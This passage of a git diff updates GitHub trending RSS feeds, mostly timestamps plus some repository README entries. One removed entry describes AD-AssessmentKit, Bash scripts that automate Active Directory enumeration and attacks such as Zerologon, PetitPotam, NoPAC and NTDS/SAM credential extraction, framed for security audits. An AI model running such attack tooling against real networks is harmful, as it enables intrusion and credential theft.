b/sage/daily/index.xml @@ -1,7 +1,7 @@ GitHub Sage Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:42:24Z + 2024-01-06T01:39:55Z Daily Trending of Sage in GitHub \ No newline at end of file diff --git a/saltstack/daily/index.xml b/saltstack/daily/index.xml index cceb36e7e5c..5e30c7e211a 100644 --- a/saltstack/daily/index.xml +++ b/saltstack/daily/index.xml @@ -1,7 +1,7 @@ GitHub SaltStack Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:42:25Z + 2024-01-06T01:39:57Z Daily Trending of SaltStack in GitHub \ No newline at end of file diff --git a/sas/daily/index.xml b/sas/daily/index.xml index c6ee5e9d578..102533d5a50 100644 --- a/sas/daily/index.xml +++ b/sas/daily/index.xml @@ -1,7 +1,7 @@ GitHub SAS Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:42:22Z + 2024-01-06T01:39:56Z Daily Trending of SAS in GitHub \ No newline at end of file diff --git a/sass/daily/index.xml b/sass/daily/index.xml index e2485eba6b6..77a96b70ec6 100644 --- a/sass/daily/index.xml +++ b/sass/daily/index.xml @@ -1,7 +1,7 @@ GitHub Sass Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:42:23Z + 2024-01-06T01:39:58Z Daily Trending of Sass in GitHub \ No newline at end of file diff --git a/scala/daily/index.xml b/scala/daily/index.xml index 98be9d67049..2320469adca 100644 --- a/scala/daily/index.xml +++ b/scala/daily/index.xml @@ -1,7 +1,14 @@ GitHub Scala Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:42:31Z + 2024-01-06T01:40:03Z Daily Trending of Scala in GitHub + + takapi327/ldbc + 2024-01-06T01:40:03Z + tag:github.com,2024-01-06:/takapi327/ldbc + + <p>ldbc is Pure functional JDBC layer with Cats Effect 3 and Scala 3.</p><hr><h1>LDBC</h1> <div align="center"> <img src="https://raw.githubusercontent.com/takapi327/ldbc/master/lepus_logo.png"> </div> <div align="center"> <a href="https://search.maven.org/artifact/io.github.takapi327/ldbc-core_3/0.2.0/jar"> <img src="https://img.shields.io/badge/ldbc-v0.2.0-blue"> </a> <a href="https://en.wikipedia.org/wiki/MIT_License"> <img src="https://img.shields.io/badge/license-MIT-green"> </a> <a href="https://github.com/lampepfl/dotty"> <img src="https://img.shields.io/badge/scala-v3.3.x-red"> </a> </div> <p>ldbc (Lepus Database Connectivity) is Pure functional JDBC layer with Cats Effect 3 and Scala 3.</p> <p>ldbc is Created under the influence of <a href="https://github.com/softwaremill/tapir">tapir</a>, a declarative, type-safe web endpoint library. Using tapir, you can build type-safe endpoints and also generate OpenAPI documentation from the endpoints you build.</p> <p>ldbc allows the same type-safe construction with Scala at the database layer and document generation using the constructed one.</p> <p>Note that <strong>ldbc</strong> is pre-1.0 software and is still undergoing active development. New versions are <strong>not</strong> binary compatible with prior versions, although in most cases user code will be source compatible.</p> <h2>Documentation</h2> <ul> <li><a href="https://takapi327.github.io/ldbc/en/index.html">English</a></li> <li><a href="https://takapi327.github.io/ldbc/ja/index.html">Japanese</a></li> </ul> <h2>Contributing</h2> <p>All suggestions welcome :)!</p> <p>If youโ€™d like to contribute, see the list of <a href="https://github.com/takapi327/ldbc/issues">issues</a> and pick one! Or report your own. If you have an idea youโ€™d like to discuss, thatโ€™s always a good option.</p> <p>If you have any questions about why or how it works, feel free to ask on github. This probably means that the documentation, scaladocs, and code are unclear and can be improved for the benefit of all.</p> <h3>Testing locally</h3> <p>If you want to build and run the tests for yourself, you'll need a local MySQL database. The easiest way to do this is to run <code>docker-compose up</code> from the project root.</p> + \ No newline at end of file diff --git a/scaml/daily/index.xml b/scaml/daily/index.xml index 62cc76c8b29..f343c84ebca 100644 --- a/scaml/daily/index.xml +++ b/scaml/daily/index.xml @@ -1,7 +1,7 @@ GitHub Scaml Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:42:26Z + 2024-01-06T01:40:00Z Daily Trending of Scaml in GitHub \ No newline at end of file diff --git a/scheme/daily/index.xml b/scheme/daily/index.xml index 088a6754afd..298fcbb40d3 100644 --- a/scheme/daily/index.xml +++ b/scheme/daily/index.xml @@ -1,7 +1,7 @@ GitHub Scheme Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:42:28Z + 2024-01-06T01:39:59Z Daily Trending of Scheme in GitHub \ No newline at end of file diff --git a/scilab/daily/index.xml b/scilab/daily/index.xml index d4a20dea017..4c28ccc19ac 100644 --- a/scilab/daily/index.xml +++ b/scilab/daily/index.xml @@ -1,7 +1,7 @@ GitHub Scilab Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:42:43Z + 2024-01-06T01:40:09Z Daily Trending of Scilab in GitHub \ No newline at end of file diff --git a/scss/daily/index.xml b/scss/daily/index.xml index bf6407c0b2e..6052543af20 100644 --- a/scss/daily/index.xml +++ b/scss/daily/index.xml @@ -1,7 +1,14 @@ GitHub SCSS Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:42:46Z + 2024-01-06T01:40:13Z Daily Trending of SCSS in GitHub + + codeforjapan/mapprint + 2024-01-06T01:40:13Z + tag:github.com,2024-01-06:/codeforjapan/mapprint + + <p></p><hr> + \ No newline at end of file diff --git a/sed/daily/index.xml b/sed/daily/index.xml index ceaeffb5340..fffd6f978e7 100644 --- a/sed/daily/index.xml +++ b/sed/daily/index.xml @@ -1,7 +1,7 @@ GitHub sed Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:42:41Z + 2024-01-06T01:40:10Z Daily Trending of sed in GitHub \ No newline at end of file diff --git a/self/daily/index.xml b/self/daily/index.xml index 2ea24ac6a58..4f8dc779054 100644 --- a/self/daily/index.xml +++ b/self/daily/index.xml @@ -1,7 +1,7 @@ GitHub Self Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:42:42Z + 2024-01-06T01:40:11Z Daily Trending of Self in GitHub \ No newline at end of file diff --git a/selinux-policy/daily/index.xml b/selinux-policy/daily/index.xml index b9ca9df88da..807fc0ca25b 100644 --- a/selinux-policy/daily/index.xml +++ b/selinux-policy/daily/index.xml @@ -1,7 +1,7 @@ GitHub SELinux Policy Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:42:47Z + 2024-01-06T01:40:15Z Daily Trending of SELinux Policy in GitHub \ No newline at end of file diff --git a/shaderlab/daily/index.xml b/shaderlab/daily/index.xml index befb2760171..642ffce5ce5 100644 --- a/shaderlab/daily/index.xml +++ b/shaderlab/daily/index.xml @@ -1,7 +1,7 @@ GitHub ShaderLab Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:42:49Z + 2024-01-06T01:40:16Z Daily Trending of ShaderLab in GitHub \ No newline at end of file diff --git a/shell/daily/index.xml b/shell/daily/index.xml index 30c7519332d..281ce686b16 100644 --- a/shell/daily/index.xml +++ b/shell/daily/index.xml @@ -1,21 +1,7 @@ GitHub Shell Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:42:53Z + 2024-01-06T01:40:18Z Daily Trending of Shell in GitHub - - emrekybs/AD-AssessmentKit - 2024-01-05T01:42:53Z - tag:github.com,2024-01-05:/emrekybs/AD-AssessmentKit - - <p>Contains a collection of Bash scripts designed for comprehensive security audits and network mapping of Active Directory (AD) environments. The scripts automate various tasks including LDAP querying, Kerberos ticket analysis, SMB enumeration, and exploitation of known vulnerabilities like Zerologon and PetitPotam.</p><hr><p>[<img src="https://img.shields.io/badge/MadeBy-EmreKybs-greem" alt="EmreKybs"></p> <h1>AD-AssessmentKit</h1> <p>These tools are ideal for network administrators and cybersecurity professionals seeking to assess and enhance the security posture of AD environments and network infrastructures.</p> <h1>AD-SecurityAudit.sh</h1> <p>Focuses on initial reconnaissance and vulnerability identification in AD domains, requiring only the domain name and Domain Controller IP address.</p> <img src="https://github.com/emrekybs/AutoMapExec/raw/main/1.png"> <h3>Key Features:</h3> <ul> <li>LDAP and Service Account Queries: Conducts LDAP searches targeting service accounts in the AD.</li> <li>Kerberos Ticket Analysis: Uses Impacket's tools for analyzing Kerberos ticket vulnerabilities and identifying accounts without pre-authentication</li> <li>Comprehensive Kerberos and SMB Enumeration: Employs SilentHound and Enum4linux-ng for Kerberos auditing and detailed SMB, user, and system information scanning.</li> <li>Enumeration Techniques: Implements RID brute-force and NetExec SMB enumeration for discovering user accounts, groups, and security policies.</li> <li>Exploitation of Windows Services: Executes Zerologon and PetitPotam attacks to target known vulnerabilities.</li> <li>Execution Summary and Actionable Guidance: Completes with a success message and provides insights for further actions, such as hash cracking.</li> </ul> <h1>AutoMapExec.sh</h1> <p>Provides in-depth security assessment and penetration testing, requiring domain, Domain Controller IP, and user credentials for a more thorough analysis.</p> <img src="https://github.com/emrekybs/AutoMapExec/raw/main/2.png"> <h3>Key Features:</h3> <ul> <li>Credential-Based Targeting: Uses user-provided credentials for a more thorough analysis.</li> <li>Kerberos Auditing and Extensive SMB Enumeration: Combines SilentHound and multiple NetExec commands for a deeper level of SMB and security analysis.</li> <li>Network and AD Comprehensive Scanning: Utilizes CrackMapExec for an extensive view of the network, including computer listings, local groups, and NTDS extraction.Testing Against Major Vulnerabilities: Incorporates exploitation of significant</li> <li>Testing Against Major Vulnerabilities: Incorporates exploitation of significant vulnerabilities like Zerologon, PetitPotam, and NoPAC.</li> <li>BloodHound Integration and RDP Enablement: Facilitates AD data collection for BloodHound analysis and enables Remote Desktop Protocol.</li> <li>Diverse Command Execution and Data Retrieval: Performs a range of system commands and retrieves the SAM database for in-depth credential analysis.</li> <li>Detailed Execution Overview: Concludes with a summary of successful execution, signifying the completion of a comprehensive scanning and enumeration process.</li> </ul> <h1>๐—œ๐—ก๐—ฆ๐—ง๐—”๐—Ÿ๐—Ÿ๐—”๐—ง๐—œ๐—ข๐—ก ๐—œ๐—ก๐—ฆ๐—ง๐—ฅ๐—จ๐—–๐—ง๐—œ๐—ข๐—ก๐—ฆ</h1> <pre><code> $ git clone https://github.com/emrekybs/AD-AssessmentKit.git $ cd AD-AssessmentKit $ chmod +x * &amp;&amp; bash install.sh </code></pre> - - - syno-community/arpl-i18n - 2024-01-05T01:42:53Z - tag:github.com,2024-01-05:/syno-community/arpl-i18n - - <p>Automated Redpill Loader</p><hr><h1>Automated Redpill Loader (i18n)</h1> <p>ๆœฌๅบ“ไธบ arpl i18n (ๅคš่ฏญ่จ€ไผ˜ๅŒ–็‰ˆ):</p> <h3>ๅŽŸ็‰ˆ๏ผš</h3> <p><b><a href="https://github.com/syno-community/arpl">https://github.com/syno-community/arpl</a></b></p> <ul> <li><a href="https://raw.githubusercontent.com/syno-community/arpl-i18n/main/arpl-README-En.md">ไฝœ่€…่ฏดๆ˜Ž(En)</a></li> <li><a href="https://raw.githubusercontent.com/syno-community/arpl-i18n/main/arpl-README-Zh.md">ไฝœ่€…่ฏดๆ˜Ž(Zh)</a></li> </ul> <h3>ๆฑ‰ๅŒ–๏ผš</h3> <p><b><a href="https://github.com/wjz304/arpl-zh_CN">https://github.com/wjz304/arpl-zh_CN</a></b></p> <ul> <li>ไป…ๅŒๆญฅๆฑ‰ๅŒ–ๅŽŸ็‰ˆ, ๆ‰€ไปฅๅŠŸ่ƒฝไธŽๅŽŸ็‰ˆไฟๆŒไธ€่‡ด.</li> </ul> <h3>i18n:</h3> <p><b><a href="https://github.com/syno-community/arpl-i18n">https://github.com/syno-community/arpl-i18n</a></b></p> <ul> <li>ๅคš่ฏญ่จ€ๆ”ฏๆŒ.</li> <li>ๅŒ…ๅซๆˆ‘็š„ไฟฎๆ”น.</li> </ul> <h2>่ฏดๆ˜Ž</h2> <ul> <li> <h3><a href="https://www.bilibili.com/video/BV1T84y1P7Kq">ๅ‘ฝไปค่พ“ๅ…ฅๆ–นๆณ•ๆผ”็คบ</a> <a href="https://www.bilibili.com/video/BV1T84y1P7Kq">https://www.bilibili.com/video/BV1T84y1P7Kq</a></h3> </li> <li>arplๅ„็‰ˆๆœฌ้—ดๅˆ‡ๆข(่œๅ•ๆ›ดๆ–ฐ, ๅขž้‡): <pre><code class="language-shell"># shell ไธ‹่พ“ๅ…ฅไปฅไธ‹ๅ‘ฝไปคไฟฎๆ”นๆ›ดๆ–ฐ repo. # ๅฆ‚ๆžœ่ฆๅˆ‡ๆขๅŽŸ็‰ˆไฟฎๆ”น็ฌฌไบŒๆกๅ‘ฝไปคไธญ็š„ syno-community/arpl-i18n ไธบ fbelavenuto/arpl # ๅฆ‚ๆžœๅˆ‡ๆขไธญๆ–‡็‰ˆไฟฎๆ”น็ฌฌไบŒๆกๅ‘ฝไปคไธญ็š„ syno-community/arpl-i18n ไธบ wjz304/arpl-zh_CN CURREPO=`grep "github.com.*update" menu.sh | sed -r 's/.*com\/(.*)\/releases.*/\1/'` sed -i "s|${CURREPO}|syno-community/arpl-i18n|g; s|ACTUALVERSION=\"v\${ARPL_VERSION}\"|ACTUALVERSION=\"v0.0\"|g" /opt/arpl/menu.sh # ่ฟ›ๅ…ฅ่ฎพ็ฝฎ่œๅ•ๆ‰ง่กŒๆ›ดๆ–ฐarplๆ“ไฝœๅณๅฏ. # ๆ›ดๆ–ฐๅŽ่ฏท้‡ๅฏ. </code></pre> </li> <li>arplๅ„็‰ˆๆœฌ้—ดๅˆ‡ๆข(ๆ‰‹ๅŠจๆ–นๅผ, ๅ…จ้‡): <pre><code class="language-shell"># shell ไธ‹ไธ‹่ฝฝ้œ€่ฆ็š„็‰ˆๆœฌๆˆ–่€…ๆ‰‹ๅŠจไธŠไผ ๅˆฐ/opt/arpl/ไธ‹ curl -kL https://github.com/fbelavenuto/arpl/releases/download/v1.1-beta2a/arpl-1.1-beta2a.img.zip -o /opt/arpl/arpl.zip # ่งฃๅŽ‹ unzip /opt/arpl/arpl.zip # ๆŒ‚่ฝฝ img losetup /dev/loop0 /opt/arpl/arpl.img # ๅคๅˆถ p1 p3 ๅˆ†ๅŒบ mkdir -p /mnt/loop0p1; mount /dev/loop0p1 /mnt/loop0p1; cp -r /mnt/loop0p1/* /mnt/p1/; umount /mnt/loop0p1 mkdir -p /mnt/loop0p3; mount /dev/loop0p3 /mnt/loop0p2; cp -r /mnt/loop0p3/* /mnt/p3/; umount /mnt/loop0p3 # ๅธ่ฝฝ img losetup -d /dev/loop0 # ๅฆ‚ๆžœๅฎ‰่ฃ…็š„็‰ˆๆœฌไธญๆ— ไฝ ๅฝ“ๅ‰ๅฎ‰่ฃ…็š„DSM่ฏทๅฐฝ้‡ๅˆ ้™ค /mnt/p1/user-config.yml, /mnt/p3/*-dsm, /mnt/p2/* rm -rf /mnt/p1/user-config.yml /mnt/p3/*-dsm /mnt/p2/* # ้‡ๅฏ reboot </code></pre> </li> </ul> <h2>็ฟป่ฏ‘</h2> <pre><code class="language-shell">sudo apt install gettext git clone https://github.com/syno-community/arpl-i18n.git cd arpl-i18n/files/board/arpl/overlayfs/opt/arpl xgettext -L Shell --keyword=TEXT *.sh -o lang/arpl.pot sed -i 's/charset=CHARSET/charset=UTF-8/' lang/arpl.pot # The above process has been completed. msginit -i lang/arpl.pot -l zh_CN.UTF-8 -o lang/zh_CN.po # Replace the language you need. # translate the lang/zh_CN.po. msgfmt lang/zh_CN.po -o lang/zh_CN.mo # This process will be automatically processed during packaging. </code></pre> <h2>ๆ‰“่ตไธ€ไธ‹</h2> <img src="https://raw.githubusercontent.com/wjz304/wjz304/master/my/20220908134226.jpg" width="400"> - \ No newline at end of file diff --git a/shellcheck-config/daily/index.xml b/shellcheck-config/daily/index.xml index b8803cd2127..29ca3063555 100644 --- a/shellcheck-config/daily/index.xml +++ b/shellcheck-config/daily/index.xml @@ -1,7 +1,7 @@ GitHub ShellCheck Config Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:42:48Z + 2024-01-06T01:40:14Z Daily Trending of ShellCheck Config in GitHub \ No newline at end of file diff --git a/shellsession/daily/index.xml b/shellsession/daily/index.xml index 2580611cb8f..a222762307c 100644 --- a/shellsession/daily/index.xml +++ b/shellsession/daily/index.xml @@ -1,7 +1,7 @@ GitHub ShellSession Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:43:15Z + 2024-01-06T01:40:33Z Daily Trending of ShellSession in GitHub \ No newline at end of file diff --git a/shen/daily/index.xml b/shen/daily/index.xml index 7e085d9ef93..c62b6aba699 100644 --- a/shen/daily/index.xml +++ b/shen/daily/index.xml @@ -1,7 +1,7 @@ GitHub Shen Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:43:14Z + 2024-01-06T01:40:36Z Daily Trending of Shen in GitHub \ No newline at end of file diff --git a/sieve/daily/index.xml b/sieve/daily/index.xml index 69625ef80e7..63b0003995e 100644 --- a/sieve/daily/index.xml +++ b/sieve/daily/index.xml @@ -1,7 +1,7 @@ GitHub Sieve Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:43:14Z + 2024-01-06T01:40:34Z Daily Trending of Sieve in GitHub \ No newline at end of file diff --git a/singularity/daily/index.xml b/singularity/daily/index.xml index 7db116db7a1..3ce287b2e0a 100644 --- a/singularity/daily/index.xml +++ b/singularity/daily/index.xml @@ -1,7 +1,7 @@ GitHub Singularity Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:43:18Z + 2024-01-06T01:40:37Z Daily Trending of Singularity in GitHub \ No newline at end of file diff --git a/slash/daily/index.xml b/slash/daily/index.xml index c18c4008460..d9e7d2814a2 100644 --- a/slash/daily/index.xml +++ b/slash/daily/index.xml @@ -1,7 +1,7 @@ GitHub Slash Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:43:19Z + 2024-01-06T01:40:39Z Daily Trending of Slash in GitHub \ No newline at end of file diff --git a/slice/daily/index.xml b/slice/daily/index.xml index 41c49764c26..cab9d57667e 100644 --- a/slice/daily/index.xml +++ b/slice/daily/index.xml @@ -1,7 +1,7 @@ GitHub Slice Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:43:17Z + 2024-01-06T01:40:37Z Daily Trending of Slice in GitHub \ No newline at end of file diff --git a/slim/daily/index.xml b/slim/daily/index.xml index ec0faed2252..49926cdc075 100644 --- a/slim/daily/index.xml +++ b/slim/daily/index.xml @@ -1,7 +1,7 @@ GitHub Slim Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:43:20Z + 2024-01-06T01:40:38Z Daily Trending of Slim in GitHub \ No newline at end of file diff --git a/smali/daily/index.xml b/smali/daily/index.xml index 8b2be550944..53a9cc946d1 100644 --- a/smali/daily/index.xml +++ b/smali/daily/index.xml @@ -1,7 +1,7 @@ GitHub Smali Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:43:23Z + 2024-01-06T01:40:40Z Daily Trending of Smali in GitHub \ No newline at end of file diff --git a/smalltalk/daily/index.xml b/smalltalk/daily/index.xml index bd9de4f581e..731d1c32efb 100644 --- a/smalltalk/daily/index.xml +++ b/smalltalk/daily/index.xml @@ -1,7 +1,7 @@ GitHub Smalltalk Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:43:28Z + 2024-01-06T01:40:43Z Daily Trending of Smalltalk in GitHub \ No newline at end of file diff --git a/smarty/daily/index.xml b/smarty/daily/index.xml index 7356b6febe7..5b7c01891b9 100644 --- a/smarty/daily/index.xml +++ b/smarty/daily/index.xml @@ -1,7 +1,7 @@ GitHub Smarty Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:43:25Z + 2024-01-06T01:40:45Z Daily Trending of Smarty in GitHub \ No newline at end of file diff --git a/smpl/daily/index.xml b/smpl/daily/index.xml index 878c3c5ebfa..0a545bcf516 100644 --- a/smpl/daily/index.xml +++ b/smpl/daily/index.xml @@ -1,7 +1,7 @@ GitHub SmPL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:43:29Z + 2024-01-06T01:40:47Z Daily Trending of SmPL in GitHub \ No newline at end of file diff --git a/smt/daily/index.xml b/smt/daily/index.xml index f708245c40c..91df8895e07 100644 --- a/smt/daily/index.xml +++ b/smt/daily/index.xml @@ -1,7 +1,7 @@ GitHub SMT Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:43:30Z + 2024-01-06T01:40:46Z Daily Trending of SMT in GitHub \ No newline at end of file diff --git a/solidity/daily/index.xml b/solidity/daily/index.xml index 2cb0407b83a..2da1e5c97bf 100644 --- a/solidity/daily/index.xml +++ b/solidity/daily/index.xml @@ -1,14 +1,14 @@ GitHub Solidity Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:43:34Z + 2024-01-06T01:40:50Z Daily Trending of Solidity in GitHub - Protocol-Explorer/Level-Up - 2024-01-05T01:43:34Z - tag:github.com,2024-01-05:/Protocol-Explorer/Level-Up - - <p></p><hr> + daimo-eth/bulk + 2024-01-06T01:40:50Z + tag:github.com,2024-01-06:/daimo-eth/bulk + + <p>Make compressed 4337 bundles swole again</p><hr> \ No newline at end of file diff --git a/soong/daily/index.xml b/soong/daily/index.xml index fc1bb128ddc..42aef117d3e 100644 --- a/soong/daily/index.xml +++ b/soong/daily/index.xml @@ -1,7 +1,7 @@ GitHub Soong Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:43:38Z + 2024-01-06T01:40:51Z Daily Trending of Soong in GitHub \ No newline at end of file diff --git a/sourcepawn/daily/index.xml b/sourcepawn/daily/index.xml index 15f3b58777a..32f7022df3a 100644 --- a/sourcepawn/daily/index.xml +++ b/sourcepawn/daily/index.xml @@ -1,7 +1,7 @@ GitHub SourcePawn Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:43:37Z + 2024-01-06T01:40:52Z Daily Trending of SourcePawn in GitHub \ No newline at end of file diff --git a/sparql/daily/index.xml b/sparql/daily/index.xml index cfd9fef3d56..f4085c87710 100644 --- a/sparql/daily/index.xml +++ b/sparql/daily/index.xml @@ -1,7 +1,7 @@ GitHub SPARQL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:43:39Z + 2024-01-06T01:40:53Z Daily Trending of SPARQL in GitHub \ No newline at end of file diff --git a/spline-font-database/daily/index.xml b/spline-font-database/daily/index.xml index 390fa9b5830..131eb3ebd03 100644 --- a/spline-font-database/daily/index.xml +++ b/spline-font-database/daily/index.xml @@ -1,7 +1,7 @@ GitHub Spline Font Database Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:43:36Z + 2024-01-06T01:40:51Z Daily Trending of Spline Font Database in GitHub \ No newline at end of file diff --git a/sqf/daily/index.xml b/sqf/daily/index.xml index 1eab27e683e..51a79194415 100644 --- a/sqf/daily/index.xml +++ b/sqf/daily/index.xml @@ -1,7 +1,7 @@ GitHub SQF Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:43:40Z + 2024-01-06T01:40:55Z Daily Trending of SQF in GitHub \ No newline at end of file diff --git a/sql/daily/index.xml b/sql/daily/index.xml index 2b03f9fb7db..4be00dc8799 100644 --- a/sql/daily/index.xml +++ b/sql/daily/index.xml @@ -1,7 +1,7 @@ GitHub SQL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:43:43Z + 2024-01-06T01:40:54Z Daily Trending of SQL in GitHub \ No newline at end of file diff --git a/sqlpl/daily/index.xml b/sqlpl/daily/index.xml index 29e91b4f459..5b726bedc64 100644 --- a/sqlpl/daily/index.xml +++ b/sqlpl/daily/index.xml @@ -1,7 +1,7 @@ GitHub SQLPL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:43:41Z + 2024-01-06T01:40:55Z Daily Trending of SQLPL in GitHub \ No newline at end of file diff --git a/squirrel/daily/index.xml b/squirrel/daily/index.xml index 6c229fc7513..21fdb4ec3a0 100644 --- a/squirrel/daily/index.xml +++ b/squirrel/daily/index.xml @@ -1,7 +1,7 @@ GitHub Squirrel Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:43:42Z + 2024-01-06T01:40:56Z Daily Trending of Squirrel in GitHub \ No newline at end of file diff --git a/srecode-template/daily/index.xml b/srecode-template/daily/index.xml index bca56cd9e22..e368f096cc3 100644 --- a/srecode-template/daily/index.xml +++ b/srecode-template/daily/index.xml @@ -1,7 +1,7 @@ GitHub SRecode Template Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:43:46Z + 2024-01-06T01:40:57Z Daily Trending of SRecode Template in GitHub \ No newline at end of file diff --git a/ssh-config/daily/index.xml b/ssh-config/daily/index.xml index befecf53033..319ccf4da6c 100644 --- a/ssh-config/daily/index.xml +++ b/ssh-config/daily/index.xml @@ -1,7 +1,7 @@ GitHub SSH Config Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:43:45Z + 2024-01-06T01:40:58Z Daily Trending of SSH Config in GitHub \ No newline at end of file diff --git a/stan/daily/index.xml b/stan/daily/index.xml index 9adbc877b8a..9c88670c0b2 100644 --- a/stan/daily/index.xml +++ b/stan/daily/index.xml @@ -1,7 +1,7 @@ GitHub Stan Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:43:47Z + 2024-01-06T01:40:58Z Daily Trending of Stan in GitHub \ No newline at end of file diff --git a/standard-ml/daily/index.xml b/standard-ml/daily/index.xml index 07fd0d15657..fcffb00a31b 100644 --- a/standard-ml/daily/index.xml +++ b/standard-ml/daily/index.xml @@ -1,7 +1,7 @@ GitHub Standard ML Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:43:44Z + 2024-01-06T01:40:59Z Daily Trending of Standard ML in GitHub \ No newline at end of file diff --git a/starlark/daily/index.xml b/starlark/daily/index.xml index 572f1afee6e..20054754527 100644 --- a/starlark/daily/index.xml +++ b/starlark/daily/index.xml @@ -1,7 +1,7 @@ GitHub Starlark Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:43:53Z + 2024-01-06T01:41:04Z Daily Trending of Starlark in GitHub \ No newline at end of file diff --git a/stata/daily/index.xml b/stata/daily/index.xml index b0d1cff64b0..aecc286fad9 100644 --- a/stata/daily/index.xml +++ b/stata/daily/index.xml @@ -1,7 +1,7 @@ GitHub Stata Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:43:48Z + 2024-01-06T01:41:01Z Daily Trending of Stata in GitHub \ No newline at end of file diff --git a/ston/daily/index.xml b/ston/daily/index.xml index 55dfaa20707..d3c055b279c 100644 --- a/ston/daily/index.xml +++ b/ston/daily/index.xml @@ -1,7 +1,7 @@ GitHub STON Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:43:55Z + 2024-01-06T01:41:05Z Daily Trending of STON in GitHub \ No newline at end of file diff --git a/stringtemplate/daily/index.xml b/stringtemplate/daily/index.xml index 6b52baa5dcd..0d79be6cbf4 100644 --- a/stringtemplate/daily/index.xml +++ b/stringtemplate/daily/index.xml @@ -1,7 +1,7 @@ GitHub StringTemplate Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:43:56Z + 2024-01-06T01:41:05Z Daily Trending of StringTemplate in GitHub \ No newline at end of file diff --git a/stylus/daily/index.xml b/stylus/daily/index.xml index 221cc83ff15..e667a0dc3d0 100644 --- a/stylus/daily/index.xml +++ b/stylus/daily/index.xml @@ -1,7 +1,7 @@ GitHub Stylus Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:43:57Z + 2024-01-06T01:41:07Z Daily Trending of Stylus in GitHub \ No newline at end of file diff --git a/subrip-text/daily/index.xml b/subrip-text/daily/index.xml index 93d2e82e689..d7c333e59f9 100644 --- a/subrip-text/daily/index.xml +++ b/subrip-text/daily/index.xml @@ -1,7 +1,7 @@ GitHub SubRip Text Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:43:54Z + 2024-01-06T01:41:06Z Daily Trending of SubRip Text in GitHub \ No newline at end of file diff --git a/sugarss/daily/index.xml b/sugarss/daily/index.xml index 3b09d43927a..531dce9e0fc 100644 --- a/sugarss/daily/index.xml +++ b/sugarss/daily/index.xml @@ -1,7 +1,7 @@ GitHub SugarSS Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:43:58Z + 2024-01-06T01:41:08Z Daily Trending of SugarSS in GitHub \ No newline at end of file diff --git a/supercollider/daily/index.xml b/supercollider/daily/index.xml index 67dee988ad5..0934d9aa57f 100644 --- a/supercollider/daily/index.xml +++ b/supercollider/daily/index.xml @@ -1,7 +1,7 @@ GitHub SuperCollider Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:43:59Z + 2024-01-06T01:41:10Z Daily Trending of SuperCollider in GitHub \ No newline at end of file diff --git a/svelte/daily/index.xml b/svelte/daily/index.xml index 2e23fc9f9ba..1fb61ebfbf0 100644 --- a/svelte/daily/index.xml +++ b/svelte/daily/index.xml @@ -1,14 +1,14 @@ GitHub Svelte Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:44:03Z + 2024-01-06T01:41:12Z Daily Trending of Svelte in GitHub - bmdavis419/SvelteKit-Ecommerce - 2024-01-05T01:44:03Z - tag:github.com,2024-01-05:/bmdavis419/SvelteKit-Ecommerce - - <p>An opensource, fullstack e-commerce app build with SvelteKit</p><hr> + ruimgbarros/svelte-flourish-scroller + 2024-01-06T01:41:12Z + 